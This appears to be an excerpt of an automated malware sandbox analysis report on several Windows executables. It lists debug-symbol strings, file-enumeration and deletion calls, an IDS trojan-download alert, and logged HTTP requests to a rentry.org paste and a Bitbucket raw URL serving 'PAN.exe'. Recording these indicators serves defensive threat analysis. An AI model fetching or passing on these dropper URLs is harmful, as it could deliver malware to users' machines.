ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: mgne4i3n.t1d2.exe, 0000000E.00000003.1476082957.000002C8869BB000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3809691380.00007FFB226F3000.00000002.00000001.01000000.0000000F.sdmp, clppth.exe, 00000026.00000003.1842187984.00000156D218B000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1928851563.000002C498ACA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: mgne4i3n.t1d2.exe, 0000001F.00000002.3797179498.00007FFB02479000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: mgne4i3n.t1d2.exe, 0000000E.00000003.1476082957.000002C8869BB000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3809691380.00007FFB226F3000.00000002.00000001.01000000.0000000F.sdmp, clppth.exe, 00000026.00000003.1842187984.00000156D218B000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1928851563.000002C498ACA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_tkinter.pdb source: mgne4i3n.t1d2.exe, 0000000E.00000003.1486855187.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3806016882.00007FFB0B4D8000.00000002.00000001.01000000.00000018.sdmp, clppth.exe, 00000026.00000003.1849282939.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1942221585.000002C498ACB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: mgne4i3n.t1d2.exe, 0000001F.00000002.3797179498.00007FFB02511000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: mgne4i3n.t1d2.exe, 0000000E.00000003.1483659112.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3809064972.00007FFB1E3B9000.00000002.00000001.01000000.00000013.sdmp, clppth.exe, 00000026.00000003.1848986032.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1941486532.000002C498ACB000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000002.3806753681.00007FFB23AD9000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: mgne4i3n.t1d2.exe, 0000001F.00000002.3806869534.00007FFB0B574000.00000002.00000001.01000000.00000017.sdmp, clppth.exe, 0000002A.00000002.3802742975.00007FFB1DED4000.00000002.00000001.01000000.0000002F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: mgne4i3n.t1d2.exe, 0000001F.00000002.3807780292.00007FFB1BA6D000.00000002.00000001.01000000.00000015.sdmp, clppth.exe, 0000002A.00000002.3805477731.00007FFB23A9D000.00000002.00000001.01000000.0000002D.sdmp

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BC85A0 FindFirstFileExW,FindClose,	14_2_00007FF741BC85A0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BC79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	14_2_00007FF741BC79B0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 14_2_00007FF741BE0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	14_2_00007FF741BE0B84
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BC85A0 FindFirstFileExW,FindClose,	31_2_00007FF741BC85A0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BC79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	31_2_00007FF741BC79B0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FF741BE0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	31_2_00007FF741BE0B84
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795B985A0 FindFirstFileExW,FindClose,	38_2_00007FF795B985A0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795B979B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	38_2_00007FF795B979B0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BB0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	38_2_00007FF795BB0B84
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795B985A0 FindFirstFileExW,FindClose,	42_2_00007FF795B985A0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795B979B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	42_2_00007FF795B979B0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BB0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	42_2_00007FF795BB0B84

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	File opened: C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	File opened: C:\Users\user\AppData\Local\Temp\E8C.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	File opened: C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp\E8E.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	File opened: C:\Users\user~1\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	File opened: C:\Users\user~1\AppData\Local\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	File opened: C:\Users\user~1\AppData\	Jump to behavior

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 4x nop then jmp 00A74385h	11_2_00A74318
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	11_2_00A72CC0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 4x nop then jmp 00A708AEh	11_2_00A70869
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 4x nop then jmp 00A708AEh	11_2_00A70878
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 4x nop then jmp 00A74385h	11_2_00A74307
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 4x nop then jmp 00A783A3h	11_2_00A78368
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 4x nop then jmp 00A783A3h	11_2_00A78359
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	11_2_00A72CB9
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	11_2_00A71EAD
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	11_2_00A71EB8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 4x nop then jmp 049D5796h	11_2_049D5760
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 4x nop then jmp 049D5796h	11_2_049D5750

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2018581 - Severity 1 - ET MALWARE Single char EXE direct download likely trojan (multiple families) : 192.168.2.7:49711 -> 185.166.143.50:443

Potential dropper URLs found in powershell memory

Source: powershell.exe, 00000003.00000002.1500962112.000001D45949D000.00000004.00000800.00020000.00000000.sdmp	String found in memory: base-uri 'self'; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.net micros--prod-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--prod-east--bitbucketci-file-service--files.s3.amazonaws.com micros--stg-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--stg-east--bitbucketci-file-service--files.s3.amazonaws.com micros--ddev-west--bitbucketci-file-service--files.s3.ap-southeast-2.amazonaws.com bqlf8qjztdtr.statuspage.io https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; object-src 'none'; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: powershell.exe, 00000003.00000002.1500962112.000001D4594DC000.00000004.00000800.00020000.00000000.sdmp	String found in memory: style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.net micros--prod-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--prod-east--bitbucketci-file-service--files.s3.amazonaws.com micros--stg-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--stg-east--bitbucketci-file-service--files.s3.amazonaws.com micros--ddev-west--bitbucketci-file-service--files.s3.ap-southeast-2.amazonaws.com bqlf8qjztdtr.statuspage.io https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; object-src 'none'; base-uri 'self'; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: powershell.exe, 00000003.00000002.1500962112.000001D459440000.00000004.00000800.00020000.00000000.sdmp	String found in memory: Content-Security-Policy: style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.net micros--prod-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--prod-east--bitbucketci-file-service--files.s3.amazonaws.com micros--stg-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--stg-east--bitbucketci-file-service--files.s3.amazonaws.com micros--ddev-west--bitbucketci-file-service--files.s3.ap-southeast-2.amazonaws.com bqlf8qjztdtr.statuspage.io https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; object-src 'none'; base-uri 'self'; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: powershell.exe, 00000003.00000002.1500962112.000001D459440000.00000004.00000800.00020000.00000000.sdmp	String found in memory: Content-Security-Policy: object-src 'none'; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; base-uri 'self'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.net micros--prod-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--prod-east--bitbucketci-file-service--files.s3.amazonaws.com micros--stg-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--stg-east--bitbucketci-file-service--files.s3.amazonaws.com micros--ddev-west--bitbucketci-file-service--files.s3.ap-southeast-2.amazonaws.com bqlf8qjztdtr.statuspage.io https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: powershell.exe, 00000003.00000002.1500962112.000001D459355000.00000004.00000800.00020000.00000000.sdmp	String found in memory: Content-Security-Policy: base-uri 'self'; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.net micros--prod-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--prod-east--bitbucketci-file-service--files.s3.amazonaws.com micros--stg-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--stg-east--bitbucketci-file-service--files.s3.amazonaws.com micros--ddev-west--bitbucketci-file-service--files.s3.ap-southeast-2.amazonaws.com bqlf8qjztdtr.statuspage.io https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; object-src 'none'; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: powershell.exe, 00000003.00000002.1500962112.000001D4594B1000.00000004.00000800.00020000.00000000.sdmp	String found in memory: object-src 'none'; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; base-uri 'self'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.net micros--prod-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--prod-east--bitbucketci-file-service--files.s3.amazonaws.com micros--stg-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--stg-east--bitbucketci-file-service--files.s3.amazonaws.com micros--ddev-west--bitbucketci-file-service--files.s3.ap-southeast-2.amazonaws.com bqlf8qjztdtr.statuspage.io https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: powershell.exe, 0000001E.00000002.2120942221.00000190B9821000.00000004.00000800.00020000.00000000.sdmp	String found in memory: base-uri 'self'; object-src 'none'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.net micros--prod-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--prod-east--bitbucketci-file-service--files.s3.amazonaws.com micros--stg-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--stg-east--bitbucketci-file-service--files.s3.amazonaws.com micros--ddev-west--bitbucketci-file-service--files.s3.ap-southeast-2.amazonaws.com bqlf8qjztdtr.statuspage.io https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: powershell.exe, 0000001E.00000002.2120942221.00000190B97FD000.00000004.00000800.00020000.00000000.sdmp	String found in memory: Content-Security-Policy: base-uri 'self'; object-src 'none'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.net micros--prod-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--prod-east--bitbucketci-file-service--files.s3.amazonaws.com micros--stg-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--stg-east--bitbucketci-file-service--files.s3.amazonaws.com micros--ddev-west--bitbucketci-file-service--files.s3.ap-southeast-2.amazonaws.com bqlf8qjztdtr.statuspage.io https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website

Source: global traffic	HTTP traffic detected: GET /pancek61111111111111/raw HTTP/1.1Host: rentry.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /goodfuture91/goodfuture511/raw/691a0c82f5c7b1d896caabdcdeb16ee9a65a596d/PAN.exe HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
